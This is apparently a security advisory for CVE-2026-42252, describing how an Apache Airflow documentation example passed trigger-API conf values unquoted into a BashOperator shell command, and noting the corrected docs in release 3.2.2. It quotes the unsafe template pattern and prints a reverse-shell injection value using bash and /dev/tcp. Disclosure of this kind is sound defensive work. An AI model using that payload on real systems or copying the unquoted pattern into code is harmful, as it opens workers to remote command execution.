CVE-2026-42252: Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
(updated )
Apache Airflow’s official documentation at core-concepts/dag-run.html (“Passing Parameters when triggering Dags”) showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.
References
Code Behaviors & Features
Detect and mitigate CVE-2026-42252 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →